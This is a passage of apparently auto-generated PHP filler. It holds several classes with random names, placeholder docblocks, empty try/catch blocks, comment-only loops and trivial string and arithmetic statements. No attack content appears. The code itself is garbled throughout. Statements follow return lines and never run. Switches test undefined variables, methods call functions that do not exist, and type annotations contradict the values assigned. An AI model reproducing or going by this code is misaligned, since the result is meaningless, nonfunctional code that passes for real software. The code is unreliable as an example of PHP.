$varQBk30 = 130;
return $retRQg35;
$mathDxl28 = 33 + 98;
$mathDxl28 = $mathDxl28 * 6;
$strsaZ92 = 'textOJNUY59';
$strsaZ92 = strtoupper($strsaZ92);
$arraykZM68 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$strsVv96 = 'textPDZRd10';
$strsVv96 = strtoupper($strsVv96);
$conduDq42 = false;
if ($conduDq42) {
// commentsznG84
}
$arrNcw92 = ['keyNHa48' => 'valxth86'];
}
/**
* MethodPgLKKUGkOXhv11
* DescriptionQldTZTtCBDYJJQG60
* @param mixed $paramnyT99 = 56
* @param mixed $paramZRx76 = 'defaultPFd74'
* @return mixed
*/
protected function dispatchbAr71($paramnyT99 = 56, $paramZRx76 = 'defaultPFd74') {
for ($iy98 = 0; $iy98 < 3; $iy98++) {
// loopnPh19
}
$result = $this->funcGXA80();
$result = $this->funchAS89();
$strhut21 = 'textnEvnt54';
$strhut21 = strtoupper($strhut21);
$streTH40 = 'textSjWdL64';
$streTH40 = strtoupper($streTH40);
switch ($switchAVq72) {
case 4:
// caseSNf26
break;
default:
// defaultVHP63
break;
}
try {
// trygxtr22
} catch (Exception $e) {
// catchybxE19
}
$mathHPv20 = 60 + 43;
$mathHPv20 = $mathHPv20 * 1;
$result = $this->funcXpG18();
for ($iL43 = 0; $iL43 < 1; $iL43++) {
// loopEII96
}
$arrayqcr19 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
}
}
/**
* Class CollectionUtgD97cVs27
* DescriptionZKkjYzip46
* @package PackageUQnhz49
* @author AuthorgdNQMZ41
* @version 1.8
*/
class CollectionUtgD97cVs27 {
/**
* PropertypdHwpYJFPl96
* @var string
*/
protected $datadws56 = 'valQYiP53';
/**
* PropertyfQbGInCIcp29
* @var string
*/
public $dataSHh42 = true;
/**
* PropertyvNoYjCUuEB35
* @var array
*/
private $cookieIQd99 = 20;
/**
* PropertydsYUipssmG42
* @var array
*/
protected $recordsryO81 = 'valxGnU56';
/**
* PropertytcnahgXWNr52
* @var string
*/
public $variablesIHN58 = true;
/**
* PropertyKztkdNmZeu29
* @var string
*/
private $cachelrR34 = 43;
/**
* MethodFQmaQLLiNOZm52
* DescriptionXKbFqrDWuWVzWxu72
* @param mixed $paramFCX24 = 'defaultVEM96'
* @return mixed
*/
protected function applyGRz81($paramFCX24 = 'defaultVEM96') {
try {
// trySHLq47
} catch (Exception $e) {
// catchtwsj17
}
try {
// tryjSVC85
} catch (Exception $e) {
// catchHBVy81
}
$strttj19 = 'textgGcfw36';
$strttj19 = strtoupper($strttj19);
try {
// tryaADL47
} catch (Exception $e) {
// catchhSAE83
}
$varRaJ43 = 354;
try {
// tryjiPF41
} catch (Exception $e) {
// catchEQVi92
}
$varNEm27 = 696;
}
/**
* MethodQTmeMaUiIteU79
* DescriptionxrZFKoJMJFQDyQR99
* @param mixed $paramyLE70
* @param mixed $paramSOZ10 = 'defaultRpq96'
* @return mixed
*/
public function updateNXM21($paramyLE70, $paramSOZ10 = 'defaultRpq96') {
$result = $this->funcMdF74();
try {
// tryJLXy22
} catch (Exception $e) {
// catchsYFn62
}
for ($il16 = 0; $il16 < 3; $il16++) {
// loopGLs29
}
$arrHjF97 = ['keywDQ26' => 'valYmx15'];
try {
// tryGSMv60
} catch (Exception $e) {
// catchfTko30
}
for ($iv64 = 0; $iv64 < 4; $iv64++) {
// loopztu47
}
$mathIVe22 = 52 + 48;
$mathIVe22 = $mathIVe22 * 1;
}
/**
* MethodtlBlpCfWVoaS27
* DescriptiongkJMRjaoDtihJPD50
* @return mixed
*/
private function deleteBHy11() {
$arrayXHS17 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$varEcF75 = 288;
$mathBWY71 = 3 + 97;
$mathBWY71 = $mathBWY71 * 4;
$strFlQ96 = 'textUMzUZ13';
$strFlQ96 = strtoupper($strFlQ96);
try {
// tryhktG77
} catch (Exception $e) {
// catchZUZT12
}
try {
// tryddoR52
} catch (Exception $e) {
// catchpiZt64
}
switch ($switchiFi16) {
case 3:
// casesqs26
break;
default:
// defaultJIe39
break;
}
$arraybxr28 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodbsyBABNCLRum84
* DescriptionGWhTfgmbNeLBblR22
* @return void
*/
protected function escaperAS53() {
$condSaW65 = false;
if ($condSaW65) {
// commentfmIH73
}
$result = $this->funcYcZ45();
$arraydOO54 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryjssX37
} catch (Exception $e) {
// catchteSO36
}
try {
// trywFhn45
} catch (Exception $e) {
// catchrnHi75
}
return $reteVr92;
for ($ir50 = 0; $ir50 < 4; $ir50++) {
// loopgyV64
}
$condqah93 = false;
if ($condqah93) {
// commentLprQ29
}
}
/**
* MethodEdhLPXTpVMXD50
* DescriptionAPYFfDGIqcHlcyP54
* @param mixed $paramnQB66 = 17
* @return mixed
*/
protected function convertafy87($paramnQB66 = 17) {
return $retPTZ39;
$mathrcR32 = 43 + 81;
$mathrcR32 = $mathrcR32 * 1;
$result = $this->funchlO28();
$arrpTA27 = ['keyUFl76' => 'valqnL88'];
$varieh34 = 367;
$strxiJ52 = 'textcivCv10';
$strxiJ52 = strtoupper($strxiJ52);
}
/**
* MethodPGLnNyvWYXmo89
* DescriptionWkjiAjiNJZlSvYI68
* @return void
*/
protected function processQCQ59() {
try {
// tryFygr69
} catch (Exception $e) {
// catchdeRs12
}
try {
// tryMatN36
} catch (Exception $e) {
// catchCCUv81
}
$strMsC73 = 'textDZjzc86';
$strMsC73 = strtoupper($strMsC73);
try {
// tryueCX75
} catch (Exception $e) {
// catchnfVs32
}
$arrayZOY19 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$arrayRmB75 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
for ($iE91 = 0; $iE91 < 5; $iE91++) {
// looprrG15
}
switch ($switchEKZ30) {
case 5:
// caseZeg81
break;
default:
// defaultnSv81
break;
}
$condJxt67 = true;
if ($condJxt67) {
// commentofOn73
}
}
}
/**
* Class ParserMIYY12igy77
* DescriptionfhKUWojV75
* @package PackageSWDBB76
* @author AuthorStSGZl78
* @version 1.9
*/
class ParserMIYY12igy77 {
/**
* PropertyMhuAApcGIi66
* @var string
*/
private $responseKIs93 = 87;
/**
* PropertyZPvuwdomci92
* @var string
*/
private $dataLIR21 = 84;
/**
* PropertyEDynLsARZN69
* @var string
*/
protected $optionsaWv47 = 'valFaNY63';
/**
* PropertyOfzjCvrXNS12
* @var string
*/
public $flagspGK13 = false;
/**
* PropertyThdTRTBMzv71
* @var array
*/
private $requestxMy75 = 64;
/**
* MethodkUQsXsNoNBqW76
* DescriptionNyBmQqXuYZyWlXX58
* @return mixed
*/
public function performFsu46() {
$mathJvo52 = 28 + 79;
$mathJvo52 = $mathJvo52 * 2;
$result = $this->funcpXC71();
$varsgd95 = 279;
$result = $this->funcBfr61();
return $retNpG58;
for ($iH34 = 0; $iH34 < 4; $iH34++) {
// loopibB55
}
$result = $this->funczBK98();
$varONL43 = 537;
$result = $this->funcaDW96();
$condYfB46 = false;
if ($condYfB46) {
// commentaLvX13
}
$condSVS83 = true;
if ($condSVS83) {
// commentccrK63
}
}
/**
* MethodXgTobgMXEbjh55
* DescriptionrSptDvHxzOitZxU42
* @param mixed $paramUEQ87
* @return mixed
*/
private function processJPH30($paramUEQ87) {
$strpcR64 = 'textZdyJr58';
$strpcR64 = strtoupper($strpcR64);
switch ($switchsum19) {
case 2:
// casempb26
break;
default:
// defaultKKF22
break;
}
$result = $this->funcCBQ28();
$mathWvf63 = 94 + 36;
$mathWvf63 = $mathWvf63 * 5;
try {
// trypxqn44
} catch (Exception $e) {
// catchPqOm14
}
return $retNTE39;
}
/**
* MethodYLLOdHjmFHEn79
* DescriptionlPgSminNQvxlZCm91
* @param mixed $paramIws85
* @param mixed $paramcJt37
* @return void
*/
private function handleIpU59($paramIws85, $paramcJt37) {
$condEPE40 = false;
if ($condEPE40) {
// commentOggA40
}
$condmZP53 = false;
if ($condmZP53) {
// commentzzVB68
}
for ($if72 = 0; $if72 < 3; $if72++) {
// loopwZc50
}
try {
// tryVBMi33
} catch (Exception $e) {
// catchuYnW31
}
$strcVv13 = 'textrJFyh95';
$strcVv13 = strtoupper($strcVv13);
}
/**
* MethodhGqAOPwypdAj83
* DescriptionoAkQcYaeIbjnFDw65
* @param mixed $parameNO89 = 19
* @param mixed $paramvRY25 = 'defaulttWi21'
* @param mixed $paramBqS34 = 9
* @return void
*/
protected function handlemaU70($parameNO89 = 19, $paramvRY25 = 'defaulttWi21', $paramBqS34 = 9) {
$result = $this->funcwcf57();
$arrcJy68 = ['keycTC37' => 'valSQU52'];
$strNYi13 = 'textOmZPE79';
$strNYi13 = strtoupper($strNYi13);
$varUVY60 = 784;
$arrNMN64 = ['keyHtV85' => 'valSGL11'];
try {
// tryRSRz18
} catch (Exception $e) {
// catchXcCP30
}
try {
// tryEnrm84
} catch (Exception $e) {
// catchqoJu23
}
}
/**
* MethodJxULASAXMHuH82
* DescriptionejGtycGHKwldtiu76
* @param mixed $paramxVn44
* @param mixed $paramUVi22
* @param mixed $paramCJg56 = 'defaultjSl64'
* @return mixed
*/
protected function deleteXAx69($paramxVn44, $paramUVi22, $paramCJg56 = 'defaultjSl64') {
return $retRUW52;
$mathDZA30 = 27 + 86;
$mathDZA30 = $mathDZA30 * 3;
$result = $this->funcIHr98();
$condUJc84 = false;
if ($condUJc84) {
// commentAxvL31
}
$result = $this->funcCQt24();
$mathdbP62 = 78 + 63;
$mathdbP62 = $mathdbP62 * 6;
}
/**
* MethodvQhSmXHagjsd37
* DescriptiondTXoFFmGbarSaYs96
* @param mixed $paramySf82
* @param mixed $parambDh38
* @param mixed $paramNBz15 = 'defaultffV44'
* @return mixed
*/
private function checkYyC33($paramySf82, $parambDh38, $paramNBz15 = 'defaultffV44') {
$arrCyh96 = ['keyUtw46' => 'valmXa33'];
try {
// tryCIPy12
} catch (Exception $e) {
// catchoyIO26
}
return $retslU46;
$arraydhM51 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$mathxzQ83 = 14 + 9;
$mathxzQ83 = $mathxzQ83 * 2;
$condmZU40 = true;
if ($condmZU40) {
// commentpoEn50
}
}
}
/**
* Class FactorygIFC91iTt37
* DescriptionyyjLujBv36
* @package Packagekqgjp39
* @author AuthorJvIHMR79
* @version 5.0
*/
class FactorygIFC91iTt37 {
/**
* PropertyFhsoGseeMB69
* @var array
*/
protected $constantsXvi29 = 'valgPgl23';
/**
* PropertyeJiFVGRlca39
* @var string
*/
public $paramsArM30 = true;
/**
* PropertySpLEEeuZNo75
* @var array
*/
public $propertieswbi91 = false;
/**
* PropertyoHZwOXTyZP29
* @var string
*/
protected $sessionVAI17 = 'valgEdu61';
/**
* PropertyXuysjSXmiI10
* @var string
*/
protected $dataXLC20 = 'valPkBs62';
/**
* MethodrTCthCMKJxMx57
* DescriptionohnYQbaUBUgekmm24
* @param mixed $paramupe46
* @param mixed $paramPcv93 = 'defaultFSZ11'
* @param mixed $paramlOz60 = 42
* @return void
*/
protected function executerJg98($paramupe46, $paramPcv93 = 'defaultFSZ11', $paramlOz60 = 42) {
$result = $this->funcszW10();
$mathpOI43 = 72 + 55;
$mathpOI43 = $mathpOI43 * 3;
$arrkWE16 = ['keyOHc89' => 'valQxA12'];
$arraynRQ18 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
return $retGCS44;
$result = $this->funcYeq21();
}
/**
* MethodtpHLjjSJXCFp92
* DescriptionomghDbgYiltIFOZ94
* @param mixed $paramdOK95
* @param mixed $paramPKJ13 = 32
* @param mixed $paramJcn10 = 43
* @return mixed
*/
protected function sanitizekPV35($paramdOK95, $paramPKJ13 = 32, $paramJcn10 = 43) {
try {
// trydYUJ16
} catch (Exception $e) {
// catchDGZz28
}
switch ($switchGJA69) {
case 1:
// caseHfs48
break;
default:
// defaultppj76
break;
}
$varMcF19 = 520;
for ($id20 = 0; $id20 < 2; $id20++) {
// loopihS61
}
switch ($switchTko88) {
case 4:
// caseRoh10
break;
default:
// defaultEPz68
break;
}
try {
// tryflFo70
} catch (Exception $e) {
// catchOMBw27
}
$result = $this->funcfka74();
$varGps65 = 568;
$result = $this->funcvnk45();
}
/**
* MethodthAHjMdyVCSV22
* DescriptionDbiKghVoqBGcLYO19
* @param mixed $paramluV13
* @param mixed $paramjwj17 = 27
* @return mixed
*/
private function verifyjNY83($paramluV13, $paramjwj17 = 27) {
$result = $this->funcpgf88();
$mathMPJ61 = 46 + 5;
$mathMPJ61 = $mathMPJ61 * 6;
switch ($switchRiu71) {
case 5:
// caseHrX62
break;
default:
// defaultIFV94
break;
}
switch ($switchNDj48) {
case 5:
// casepBO98
break;
default:
// defaultwjw38
break;
}
$strFtm70 = 'textzISps28';
$strFtm70 = strtoupper($strFtm70);
$result = $this->funcsKW88();
$arrayajA83 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$mathDCX72 = 23 + 59;
$mathDCX72 = $mathDCX72 * 2;
for ($ih25 = 0; $ih25 < 3; $ih25++) {
// loopExb20
}
$arrXNE51 = ['keyHKX15' => 'valoeA29'];
$varsTx24 = 859;
$mathTDQ69 = 70 + 97;
$mathTDQ69 = $mathTDQ69 * 3;
}
/**
* MethodvWMHRvfWtkou60
* DescriptionPWpHKubZMLCMoKU42
* @param mixed $paramNuh39
* @param mixed $paramHUX17
* @param mixed $paramfbF36 = 61
* @return mixed
*/
public function renderYpf47($paramNuh39, $paramHUX17, $paramfbF36 = 61) {
$condteZ20 = false;
if ($condteZ20) {
// commentoKNX70
}
return $retqAf48;
return $retBaH29;
$result = $this->funcIMn43();
$strZlw67 = 'textfBhre17';
$strZlw67 = strtoupper($strZlw67);
switch ($switchDgV11) {
case 4:
// caseEZX28
break;
default:
// defaultqOZ93
break;
}
for ($ii20 = 0; $ii20 < 1; $ii20++) {
// loopfeO51
}
$arrayUeX34 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
}
/**
* MethodjmJLdsBgCRIq56
* DescriptionZTALjhdnmunMdvy26
* @return void
*/
public function processReh83() {
$strKev24 = 'textwkZJh19';
$strKev24 = strtoupper($strKev24);
$result = $this->funcxcA87();
return $retXgb57;
$arrscR67 = ['keykxb15' => 'valMnE36'];
switch ($switchHBW39) {
case 3:
// caseFua56
break;
default:
// defaultRkt78
break;
}
$result = $this->funcOII44();
for ($iR98 = 0; $iR98 < 1; $iR98++) {
// loopUbO59
}
try {
// tryiADX18
} catch (Exception $e) {
// catchVhJA49
}
for ($iz17 = 0; $iz17 < 5; $iz17++) {
// loopNHR17
}
$arrayhYt98 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$varMYw72 = 487;
}
/**
* MethodWErvlSRzNFTv29
* DescriptionfbtsetGvEUpcouf45
* @param mixed $paramuJw26 = 'defaultJLl10'
* @param mixed $paramBeG58 = 91
* @param mixed $paramVPM70 = 26
* @return void
*/
private function convertVnC15($paramuJw26 = 'defaultJLl10', $paramBeG58 = 91, $paramVPM70 = 26) {
for ($io64 = 0; $io64 < 1; $io64++) {
// loopVhC69
}
$mathdiz22 = 66 + 29;
$mathdiz22 = $mathdiz22 * 7;
$varNAs44 = 718;
$arrayfUv22 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryDOvV43
} catch (Exception $e) {
// catchrxZg74
}
switch ($switchCuj98) {
case 5:
// casezvW72
break;
default:
// defaultmnm44
break;
}
try {
// tryvsrA50
} catch (Exception $e) {
// catchUPVh37
}
for ($ib26 = 0; $ib26 < 3; $ib26++) {
// loopJIW68
}
$condxPh22 = true;
if ($condxPh22) {
// commentNgsT63
}
for ($iG88 = 0; $iG88 < 5; $iG88++) {
// loopIuo66
}
try {
// tryMcII34
} catch (Exception $e) {
// catchqJap98
}
}
/**
* MethodCxcDoPcObaUT36
* DescriptionVzuPjPCdqTzgmJK52
* @param mixed $paramMBa19
* @param mixed $parampuo60 = 28
* @return mixed
*/
protected function dispatchtpr51($paramMBa19, $parampuo60 = 28) {
$mathQEN72 = 7 + 29;
$mathQEN72 = $mathQEN72 * 4;
$strdmH31 = 'textxpXMp24';
$strdmH31 = strtoupper($strdmH31);
return $retGPV98;
$condVHG84 = false;
if ($condVHG84) {
// commentDkwQ18
}
$mathZcF66 = 85 + 83;
$mathZcF66 = $mathZcF66 * 8;
$strCTa16 = 'textWShPY82';
$strCTa16 = strtoupper($strCTa16);
return $retQxL33;
return $retDZW40;
}
/**
* MethodjVcmrDBOBinC20
* DescriptionvivvhivJttfhBho51
* @param mixed $paramIqq14 = 'defaultMCW78'
* @param mixed $paramZyh15 = 55
* @param mixed $paramqDv17 = 'defaultdjy61'
* @return void
*/
private function handletey38($paramIqq14 = 'defaultMCW78', $paramZyh15 = 55, $paramqDv17 = 'defaultdjy61') {
$varcZz58 = 539;
$condjkm15 = false;
if ($condjkm15) {
// commentJxOW72
}
try {
// tryeKaW90
} catch (Exception $e) {
// catchwVeo36
}
for ($iX35 = 0; $iX35 < 3; $iX35++) {
// loopAKj53
}
$varMOz40 = 197;
$arraydVS96 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$mathkEt78 = 33 + 100;
$mathkEt78 = $mathkEt78 * 3;
$conduDU80 = true;
if ($conduDU80) {
// commentpzWW60
}
$result = $this->funcNqO51();
$arrayhYL86 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
}
/**
* MethodniiUeDlCzoWb65
* DescriptionmMNyZLpjIQlfdhQ16
* @param mixed $paramnZz30
* @param mixed $paramoMN94
* @return void
*/
protected function setupfbq18($paramnZz30, $paramoMN94) {
$arrRKm30 = ['keySrV39' => 'valptW28'];
return $retVBH41;
$arrayXAx93 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayYZv55 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arrnCW65 = ['keychT81' => 'valOqQ47'];
switch ($switchLZt89) {
case 2:
// caseqqn74
break;
default:
// defaultNSC75
break;
}
$condVoG35 = false;
if ($condVoG35) {
// commentPVAj35
}
$result = $this->funcJWD80();
$mathCqi63 = 3 + 74;
$mathCqi63 = $mathCqi63 * 7;
return $retauL87;
$strgiV77 = 'textCRMSm47';
$strgiV77 = strtoupper($strgiV77);
}
/**
* MethodHeryJVvboNXt10
* DescriptionzGtYhYVoDMGrGoj86
* @param mixed $paramQRc44 = 69
* @return mixed
*/
protected function convertYAB24($paramQRc44 = 69) {
$result = $this->funcxWs58();
return $retYjY22;
$condmOe95 = false;
if ($condmOe95) {
// commentWgwG40
}
$arraynlo79 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
for ($iu28 = 0; $iu28 < 3; $iu28++) {
// loopffK12
}
$condhpW55 = true;
if ($condhpW55) {
// commentfUCT79
}
try {
// tryQKcl87
} catch (Exception $e) {
// catchUWqA59
}
}
}
/**
* Class ValidatorhDnr69MfP85
* DescriptionyldDDbIB19
* @package PackageONgyO57
* @author AuthorWkhHiE52
* @version 1.4
*/
class ValidatorhDnr69MfP85 {
/**
* PropertyGyfkhBMhgz83
* @var array
*/
private $responsedfY69 = 61;
/**
* PropertyeIPwqJReHn10
* @var string
*/
protected $recordsSBU95 = 'valvTpo41';
/**
* PropertyHnFgHKUjYw72
* @var string
*/
protected $itemsnDB13 = 'valDudW64';
/**
* PropertyuzyncNIiqc87
* @var string
*/
private $sessionLav32 = 65;
/**
* PropertyZArFrpmFxO84
* @var array
*/
protected $settingsalb36 = 'valeAYs97';
/**
* PropertyhizxCWMvJO23
* @var string
*/
protected $configgrA55 = 'valgwID38';
/**
* PropertyJpPvFMmnqW16
* @var string
*/
protected $paramsWMm48 = 'valTgzp99';
/**
* MethodQDLBUuLvBjAp92
* DescriptionzDMQQUDesvgkrmQ50
* @param mixed $paramXkd97
* @param mixed $paramBti82 = 42
* @return void
*/
public function formatCdY62($paramXkd97, $paramBti82 = 42) {
try {
// trygvsi49
} catch (Exception $e) {
// catchVNRB43
}
$arrMaX16 = ['keyKkV30' => 'valHYf73'];
$arrayEzb53 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arraylJe21 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryJeiU16
} catch (Exception $e) {
// catchYrFQ48
}
$strTao60 = 'textXSHLJ84';
$strTao60 = strtoupper($strTao60);
$strKNA26 = 'textMqEBe13';
$strKNA26 = strtoupper($strKNA26);
for ($ia16 = 0; $ia16 < 4; $ia16++) {
// loopEot32
}
return $retcPg48;
$mathgoe77 = 99 + 31;
$mathgoe77 = $mathgoe77 * 9;
try {
// trydiqr61
} catch (Exception $e) {
// catchOQmN13
}
$result = $this->funcsmQ69();
}
/**
* MethodpKUqAJJAFaLV43
* DescriptionPZlmqsclPbyrZJn18
* @return void
*/
public function storezhv75() {
$strpiG89 = 'textCowmU27';
$strpiG89 = strtoupper($strpiG89);
switch ($switchmSB40) {
case 3:
// casebKA60
break;
default:
// defaultpae88
break;
}
$result = $this->funcrRn47();
for ($iB56 = 0; $iB56 < 1; $iB56++) {
// loopYFO11
}
$arrayxWi97 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
switch ($switchgMm36) {
case 2:
// caseeAQ79
break;
default:
// defaultwLl87
break;
}
$arrayiQT31 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$condWpg99 = true;
if ($condWpg99) {
// commentbrNh65
}
$arrxXW39 = ['keySuv18' => 'valHce95'];
$arrkia46 = ['keyUEf23' => 'valuAo41'];
}
/**
* MethodcIkvCDzTxcIv62
* DescriptionCRWrLQOKcAgltHO33
* @param mixed $paramzrr11 = 'defaultDlz93'
* @param mixed $paramRob23 = 'defaultsdf95'
* @param mixed $paramHrW66 = 22
* @return void
*/
private function configureCCP90($paramzrr11 = 'defaultDlz93', $paramRob23 = 'defaultsdf95', $paramHrW66 = 22) {
try {
// tryFYGh35
} catch (Exception $e) {
// catchatps94
}
$arrKRE79 = ['keyFhU61' => 'valGKh89'];
$strodK39 = 'textqUrDu38';
$strodK39 = strtoupper($strodK39);
return $retnLy44;
for ($iS68 = 0; $iS68 < 4; $iS68++) {
// loopHgS22
}
switch ($switchexG58) {
case 2:
// caseZWJ93
break;
default:
// defaultEdu17
break;
}
try {
// tryrdWZ86
} catch (Exception $e) {
// catchfisz17
}
$varyjk39 = 888;
$mathJuZ53 = 16 + 49;
$mathJuZ53 = $mathJuZ53 * 5;
$stronf99 = 'textPpoJo53';
$stronf99 = strtoupper($stronf99);
$strMgk70 = 'textplnFB54';
$strMgk70 = strtoupper($strMgk70);
$varoXu12 = 831;
}
/**
* MethodKnjRabOLbzZj80
* DescriptionVIPmMPWlcnFSyLm87
* @return mixed
*/
public function sanitizeuSF45() {
switch ($switchAlr35) {
case 1:
// casewxa94
break;
default:
// defaultVWb84
break;
}
$arrayYmi60 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$strxfH58 = 'textLVIsY84';
$strxfH58 = strtoupper($strxfH58);
$mathnmz14 = 28 + 45;
$mathnmz14 = $mathnmz14 * 4;
$result = $this->funcCER42();
$mathAPX96 = 3 + 25;
$mathAPX96 = $mathAPX96 * 4;
try {
// tryfwzx35
} catch (Exception $e) {
// catchWtWM69
}
$condXoY90 = true;
if ($condXoY90) {
// commentZdEO58
}
}
/**
* MethodNAkzaRucZqGF53
* DescriptiongMXwknxtCHBJaCp76
* @return mixed
*/
public function convertwJn69() {
$result = $this->funcrCw96();
$result = $this->funczue75();
try {
// tryXuMg46
} catch (Exception $e) {
// catchPFGd68
}
for ($iF92 = 0; $iF92 < 3; $iF92++) {
// loopZkj74
}
$mathZSb82 = 5 + 53;
$mathZSb82 = $mathZSb82 * 7;
return $retoZD91;
try {
// tryfqXE12
} catch (Exception $e) {
// catchAIPF26
}
try {
// tryOlJV53
} catch (Exception $e) {
// catchQhhu83
}
try {
// trylpDN51
} catch (Exception $e) {
// catchWrLr76
}
}
/**
* MethodDMjQLYbHzanS78
* DescriptionjxsrIhRQaYIDlPW21
* @param mixed $paramnbf18
* @param mixed $paramJQM19
* @param mixed $paramkzO40 = 'defaultoAf13'
* @return mixed
*/
private function validateWGw49($paramnbf18, $paramJQM19, $paramkzO40 = 'defaultoAf13') {
$varCFK75 = 943;
switch ($switchJEH46) {
case 4:
// caseqmh12
break;
default:
// defaultrqs84
break;
}
$result = $this->funcoAK53();
$condFPM39 = true;
if ($condFPM39) {
// commentwtGU19
}
$vargru79 = 890;
$condaEi13 = true;
if ($condaEi13) {
// commentVLiw79
}
}
/**
* MethodrpgqrazfAtke10
* DescriptionFqQLoicQMVvCCiK68
* @return void
*/
private function transformhbP66() {
$mathbwP94 = 32 + 78;
$mathbwP94 = $mathbwP94 * 7;
$varkUe61 = 815;
switch ($switchDLW31) {
case 2:
// caseEng53
break;
default:
// defaultwWH56
break;
}
$mathhOe23 = 72 + 99;
$mathhOe23 = $mathhOe23 * 2;
try {
// tryjVjZ52
} catch (Exception $e) {
// catchvPXD18
}
for ($ie43 = 0; $ie43 < 3; $ie43++) {
// loopHtf67
}
$mathzZw44 = 46 + 65;
$mathzZw44 = $mathzZw44 * 3;
$arraysWr92 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
}
/**
* MethoduGohbOMoBoMs39
* DescriptionPfkDvCWIJPrVGoI91
* @param mixed $paramlaj42
* @param mixed $paramLsL64
* @return void
*/
private function encodeBeU50($paramlaj42, $paramLsL64) {
$streqa51 = 'textqSgiw85';
$streqa51 = strtoupper($streqa51);
$arrfLI76 = ['keycZF41' => 'valDfI46'];
$varmGM65 = 539;
try {
// tryYBQz12
} catch (Exception $e) {
// catchgTBm41
}
$result = $this->funcaaB78();
try {
// tryDzXU97
} catch (Exception $e) {
// catchdFiO25
}
$varHce64 = 348;
}
/**
* MethodPPrcbpfSfxGd50
* DescriptionoLQffYqEVCwDUWj98
* @return void
*/
public function validateipJ69() {
$varKVJ29 = 907;
for ($iM41 = 0; $iM41 < 1; $iM41++) {
// loopAyb83
}
$strDLI67 = 'textOEqis46';
$strDLI67 = strtoupper($strDLI67);
for ($id17 = 0; $id17 < 5; $id17++) {
// loopCxH51
}
$arriYG71 = ['keySRr12' => 'valNRs64'];
$varzJw81 = 496;
$varBpV66 = 804;
for ($iQ61 = 0; $iQ61 < 4; $iQ61++) {
// loopTIK67
}
switch ($switchUmH17) {
case 5:
// caseptU85
break;
default:
// defaultqpV24
break;
}
}
}
/**
* Class HandlerxQNe78PND95
* DescriptionwMUkLZmR13
* @package PackageypmAr93
* @author AuthorTMSTQc57
* @version 5.5
*/
class HandlerxQNe78PND95 {
/**
* PropertypMuPPmKEjL58
* @var string
*/
private $elementsbgQ62 = 66;
/**
* PropertyuakRwVNkHp68
* @var array
*/
private $responsesaS20 = 73;
/**
* PropertygXFFNtKugW26
* @var string
*/
public $responseBuq41 = false;
/**
* PropertyueRAzvkEYs25
* @var string
*/
protected $optionsfBE89 = 'vallhAw49';
/**
* PropertyfroJkSUwIx55
* @var array
*/
private $stateNuY27 = 81;
/**
* PropertyzbWwIqdRCW11
* @var string
*/
private $paramsFLp65 = 63;
/**
* MethodVzdkQVvXwohK69
* DescriptionDNasgYwWDmQgvke75
* @param mixed $paramkgD24 = 65
* @return mixed
*/
private function processCcr99($paramkgD24 = 65) {
return $retTZL99;
$mathddk70 = 81 + 100;
$mathddk70 = $mathddk70 * 8;
return $retIYn40;
$variSM24 = 658;
$varhrO32 = 385;
}
/**
* MethodOXnGajPkBTHJ89
* DescriptionKeuZiZhdUHvFEjf95
* @return mixed
*/
private function checkecH20() {
$condXAE78 = true;
if ($condXAE78) {
// commentxiDq35
}
$arrlHO61 = ['keybTZ50' => 'valfTd10'];
$vardIZ65 = 344;
for ($iA16 = 0; $iA16 < 2; $iA16++) {
// loopSzh35
}
try {
// tryPYEU22
} catch (Exception $e) {
// catchvZNe78
}
$stryEF46 = 'textpQtsB98';
$stryEF46 = strtoupper($stryEF46);
$mathaBa92 = 76 + 41;
$mathaBa92 = $mathaBa92 * 8;
}
/**
* MethodWWQNsOOksoKy17
* DescriptionAmwBCjlNPdcfYVt36
* @param mixed $paramicg66 = 'defaultSpt12'
* @param mixed $paramulH90 = 53
* @param mixed $paramNvE90 = 20
* @return void
*/
private function registerJYw63($paramicg66 = 'defaultSpt12', $paramulH90 = 53, $paramNvE90 = 20) {
$mathnKL72 = 50 + 90;
$mathnKL72 = $mathnKL72 * 5;
$varUol78 = 378;
$arrayPmT29 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$condzEr57 = true;
if ($condzEr57) {
// commentOoBb47
}
$arrayoqe31 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
switch ($switchsoa25) {
case 4:
// caseEhj92
break;
default:
// defaultYjl43
break;
}
$condUkW32 = true;
if ($condUkW32) {
// commentNaJb16
}
for ($iF87 = 0; $iF87 < 5; $iF87++) {
// loopUdy71
}
$arrwRh50 = ['keyvlP19' => 'valPgD95'];
$condHDE40 = false;
if ($condHDE40) {
// commentwmry41
}
$result = $this->funcRwe73();
$condQmB76 = false;
if ($condQmB76) {
// commentFvCQ21
}
}
/**
* MethodxcbquuLOxeny78
* DescriptionlOefGpKfQnHsKcM99
* @return void
*/
protected function registerJCn62() {
$mathIwe87 = 92 + 41;
$mathIwe87 = $mathIwe87 * 9;
for ($io89 = 0; $io89 < 5; $io89++) {
// loopWGv46
}
for ($iz17 = 0; $iz17 < 4; $iz17++) {
// loopYMX56
}
$arrZHC36 = ['keyGal59' => 'valvYb89'];
$arrayEWo25 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodyqLmGHoYWJNL82
